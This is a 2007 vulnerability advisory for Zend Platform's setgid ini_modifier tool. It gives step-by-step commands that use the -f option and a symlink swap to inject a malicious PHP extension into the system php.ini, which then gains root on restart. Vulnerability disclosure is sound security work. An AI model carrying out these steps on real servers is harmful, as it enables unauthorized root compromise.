BONUS-07-2007:Zend Platform ini_modifier Local Root Vulnerability

Summary

Zend Platform comes with an ini_modifier that is used by the GUI to alter the php.ini file. By abusing a vulnerability within the ini_modifier it is possible for a local attacker to edit the php.ini file without knowing the necessary GUI password. This can be used to obtain root privileges by for example adding a malicious PHP extension into the php.ini and waiting for the next server restart.
Affected versions

Affected is Zend Platform <= 2.2.3
Detailed information

During the installation of the Zend Platform a suid group binary called ini_modifier is installed.

$ ls -la /usr/local/Zend/sbin/ini_modifier
-rwxr-sr-x 1 root zendtech 243240 2006-08-14 16:24 ini_modifier

The purpose of this binary is to edit the system wide php.ini file from within the GUI. To protect ini_modifier from abuse it first prompts for the GUI password before it lets you edit anything. While it is possible to read the MD5 hash of the GUI password from the php.ini and crack it with a dictionary or rainbowtable attack, there is an even simpler method that exploits a vulnerability within the ini_modifier.

Because the ini_modifier can be told to open an alternative php.ini file with the parameter -f it is possible to edit a copy of the system php.ini if we change the Zend GUI password in it with an editor.

$ cd /tmp
$ mkdir ini
$ cd ini
$ cp /usr/local/Zend/etc/php.ini .
… now edit zend_gui_password in the copy to a MD5 of your choice and
… REMEBER the old MD5
$ cd …
$ /usr/local/Zend/sbin/ini_modifier -f /tmp/ini/php.ini -n
Password:
(ini_modifier) help
modify entry - Modifies an entry.
switch extension - Enables or disables an extension.
switch zend_extension - Enables or disables a Zend extension.
help - Shows this help.
write - Writes the changes.
quit - Quits the program.
(ini_modifier) switch zend_extension /var/www/upload/evil.so on
(ini_modifier) modify entry Zend zend_gui_password OLDMD5
(ini_modifier)

In a parallel session you now perform the following

$ cd /tmp
$ mv ini ini.bak
$ ln -s /usr/local/Zend/etc ini

And continue to edit the ini file

(ini_modifier) write
(ini_modifier) quit

$ cat /usr/local/Zend/etc/php.ini
[PHP]
zend_extension=/var/www/upload/evil.so
…
zend_gui_password=OLDMD5

The next time the webserver is restarted the injected malicious Zend Extension will be loaded and executed with root permissions.
Proof of concept, exploit or instructions to reproduce

See details.
Notes

This issue was disclosed to Zend at the end of January 2007. Meanwhile Zend provides an update for the ini_modifier on their site. However their recommendation is to upgrade to Zend Platform 3.0.